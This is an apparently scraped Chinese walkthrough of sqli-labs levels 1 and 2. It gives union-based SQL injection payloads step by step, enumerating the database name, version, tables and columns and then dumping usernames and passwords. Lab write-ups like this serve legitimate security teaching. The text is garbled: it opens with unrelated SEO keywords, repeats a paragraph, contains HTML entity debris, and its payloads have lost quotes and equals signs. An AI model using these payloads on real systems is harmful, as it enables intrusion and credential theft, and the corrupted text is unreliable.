备案 添加网站,wordpress edd支付宝,机关网站建设费入什么科目,网站网页设计屏幕尺寸sqli-labs第一关
判断是否存在sql注入 可见#xff0c;根据输入数字的不同#xff0c;结果也不同 判断sql语句是否是拼接#xff0c;且是字符型还是数字型 由上可见#xff0c;这关指定是字符型且存在sql注入漏洞 使用联合注入
第一步#xff1a;首先知道表格有几列根据输入数字的不同结果也不同 判断sql语句是否是拼接且是字符型还是数字型 由上可见这关指定是字符型且存在sql注入漏洞 使用联合注入
第一步首先知道表格有几列如果报错就是超过列数如果显示正常就是没有超出列数。
?id1order by 3 -- 第二步爆出显示位就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。
?id-1union select 1,2,3-- 第三步获取当前数据名和版本号。
?id-1union select 1,database(),version()-- 第四步 爆表
?id-1union select 1,2,group_concat(table_name) from information_schema.tables where table_schemasecurity-- 第五步爆字段名
?id-1union select 1,2,group_concat(column_name) from information_schema.columns where table_nameusers-- 第六步通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容。
?id-1 union select 1,2,group_concat(username ,id , password) from users-- sqli-labs第二关 和第一关是一样进行判断当我们输入单引号或者双引号可以看到报错且报错信息看不到数字所有我们可以猜测sql语句应该是数字型注入。 加注释还是提示报错证明是数字型 进行一个联合查询。?id-1 union select 1,2,3 -- 使用order by 1到order by 4发现order by 4时查看到列数只有四个。 接着查看它的数据库名字和版本号在实战中就可以用以在网上查找该版本相应的漏洞之类的。?id-1 union select 1,database(),version()--,查看到数据库名为security版本为5.7.26. 再查找出在MySQL自带库information_schema中存在的table表表名则通过?id-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schemadatabase()--查询出表名。 或者输入?id-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schemasecurity--。其效果也是一样 然后我们继续深入查看users这张表输入?id-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_nameusers --。发现其中包含有username和password这两张我们的最终目的表。 最后查询这两张表中的数据拿到我们想要的用户名和密码输入?id-1 union select 1,username,password from users where id2 --